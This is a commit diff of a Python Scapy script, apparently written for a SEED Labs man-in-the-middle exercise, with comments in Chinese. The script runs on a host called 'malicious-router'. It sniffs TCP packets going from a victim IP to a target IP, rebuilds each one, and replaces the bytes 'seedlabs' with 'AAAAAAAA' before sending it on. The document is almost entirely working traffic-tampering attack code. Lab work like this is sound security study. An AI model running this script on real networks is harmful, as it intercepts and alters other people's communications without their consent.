updated some material
This commit is contained in:
@@ -1,24 +1,34 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
from scapy.all import Ether, IP, TCP, get_if_hwaddr, send, sniff
|
||||
|
||||
VICTIM_IP = "10.9.0.5"
|
||||
TARGET_IP = "192.168.60.5"
|
||||
LOCAL_MAC = get_if_hwaddr("eth0")
|
||||
|
||||
|
||||
def spoof_pkt(pkt):
|
||||
# 如果是发往目标 192.168.60.5 的 TCP 数据包
|
||||
if IP in pkt and pkt[IP].dst == '192.168.60.5' and TCP in pkt:
|
||||
newpkt = IP(bytes(pkt[IP]))
|
||||
del(newpkt.chksum)
|
||||
del(newpkt[TCP].payload)
|
||||
del(newpkt[TCP].chksum)
|
||||
if IP not in pkt or TCP not in pkt or pkt[IP].src != VICTIM_IP or pkt[IP].dst != TARGET_IP:
|
||||
return
|
||||
if Ether in pkt and pkt[Ether].dst != LOCAL_MAC:
|
||||
return
|
||||
|
||||
if pkt[TCP].payload:
|
||||
data = pkt[TCP].payload.load
|
||||
print(f"Original data: {data}")
|
||||
# 修改内容,假设名字是 seedlabs -> AAAAAAAA
|
||||
newdata = data.replace(b'seedlabs', b'AAAAAAAA')
|
||||
send(newpkt/newdata, verbose=False)
|
||||
else:
|
||||
send(newpkt, verbose=False)
|
||||
newpkt = IP(bytes(pkt[IP]))
|
||||
del newpkt.chksum
|
||||
del newpkt[TCP].payload
|
||||
del newpkt[TCP].chksum
|
||||
|
||||
# 过滤器只捕获受害者的包,避免拦截自己发出的包导致死循环
|
||||
f = 'tcp and src 10.9.0.5'
|
||||
print("MITM script starting on malicious-router...")
|
||||
sniff(iface='eth0', filter=f, prn=spoof_pkt)
|
||||
if pkt[TCP].payload:
|
||||
data = pkt[TCP].payload.load
|
||||
print(f"Original data: {data}")
|
||||
newdata = data.replace(b"seedlabs", b"AAAAAAAA")
|
||||
send(newpkt / newdata, verbose=False)
|
||||
else:
|
||||
send(newpkt, verbose=False)
|
||||
|
||||
|
||||
print(f"MITM script starting on malicious-router (mac={LOCAL_MAC})...")
|
||||
sniff(
|
||||
iface="eth0",
|
||||
filter=f"tcp and src host {VICTIM_IP} and dst host {TARGET_IP}",
|
||||
prn=spoof_pkt,
|
||||
)
|
||||
|
||||
Reference in New Issue
Block a user